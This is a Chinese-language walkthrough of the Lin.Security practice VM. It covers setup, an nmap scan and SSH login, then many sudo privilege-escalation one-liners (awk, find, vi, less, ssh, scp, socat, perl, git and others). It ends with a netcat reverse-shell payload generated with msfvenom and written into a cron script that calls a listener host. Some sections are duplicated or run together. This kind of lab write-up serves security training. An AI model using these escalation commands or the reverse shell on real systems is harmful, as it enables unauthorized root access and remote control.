Lin.Security靶机渗透
使用以下凭据登录主机账号密码:bob / secret
下载地址:https://in.security/downloads/lin.security_v1.0.ova
环境配置
开机的一瞬间,按shift,然后按e,就会进入命令行,如下图,修改 rw signie init=/bin/bash
,中间的Maybe-ubiquity是原本就有的, 碰到一个博主修改错误的配置方法,搞我心态!!!
按ctrl+x或者F10重启,重启之后查看网卡为ens33
ifconfig -a
1 | vim /etc/netplan/50-cloud-init.yaml |
重启
信息收集
1.namp扫描
1 | nmap -sS -sV -T4 -p- 192.168.134.137 |
1 | ssh bob@192.168.134.137 |
sudo提权
sudo -l 查看支持root权限的命令
1
2
3
4
5/bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed,
/usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man,
/bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh,
/usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script,
/usr/bin/scpsocat权限
先建立一个1234的shell
1
sudo socat tcp-listen:1234,reuseaddr,fork exec:sh,pty,stderr,setsid,sigint,sane
新建一个远程连接,在启动本地1234的listen
1
socat FILE:`tty`,raw,echo=0 TCP:127.0.0.1:1234
awk权限
1
sudo awk 'BEGIN {system("/bin/sh")}'
ed提权
ed命令用于启动ed文本编辑器,使用ed命令访问空缓冲区来调用bash/sh shell造成提权。
1
2sudo ed
!sh这里有个问题,exit无法退出,需要使用w保存,q退出:
find提权
1
sudo find . -exec /bin/sh \; -quit
env环境变量提权
1
2
3
4应用程序使用了system等函数调用了系统命令,但是没有使用绝对路径而是使用env命令从环境变量中进行查找,这就可能通过修改环境变量来进行权限提升
sudo sh -c 'cp $(which env) .; chmod +s ./env'
./env /bin/sh -pless、more、man提权
1
2
3
4
5
6
7
8
9sudo less /etc/passwd
!/bin/sh
sudo more /etc/passwd
!/bin/sh
Sudo man man
!/bin/shexpect提权
expect是一个自动化交互套件,主要应用于执行命令和程序时,系统以交互形式要求输入指定字符串,实现交互通信。
1
sudo expect -c "spawn /bin/sh;interact"
scp提权
1
2
3
4TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:1
2
3sudo pico
^R^X
reset; sh 1>&0 2>&0ssh提权
1
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi提权
1
sudo vi -c ':!/bin/sh' /dev/null
pico提权
1
2
3sudo pico
^R^X
reset; sh 1>&0 2>&01
这个操作方法:在键盘上按住ctrl+r和ctrl+x然后执行下面的命令,执行完成之后再次按住ctrl+r和ctrl+x再输入要执行的命令,比如id,那么就会以root权限执行
rvim提权
1
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
perl提权
1
sudo perl -e 'exec "/bin/sh";'s
tclsh提权
1
2sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderrsgit提权
1
2sudo git -p help config
!/bin/shscript提权
1
sudo script -q /dev/null
密码信息收集提权
- cat /etc/passwd, 类似root:x:0:0:root:/root:/bin/bash,在这种情况下,x表示该用户的密码哈希存储在/etc/shadow中
- 尝试爆破
taskset提权:
1 | taskset 1 /bin/bash -p |
定时任务cron提权:
查看定时任务cat /etc/crontab
1.在kali上生成反弹shell的payload:
1 | msfvenom -p cmd/unix/reverse_netcat lhost=192.168.134.130 lport=1234 R |
payload
1 | mkfifo /tmp/wkee; nc 192.168.134.130 1234 0</tmp/wkee | /bin/sh >/tmp/wkee 2>&1; rm /tmp/wkee |
2.将payload写入到定时任务的sh文件中:
1 | echo "mkfifo /tmp/wkee; nc 192.168.134.130 1234 0</tmp/wkee | /bin/sh >/tmp/wkee 2>&1; rm /tmp/wkee" > shell.sh && chmod +x shell.sh |
3.打开另一个窗口,重新远程登陆,进行监听,成功反弹shell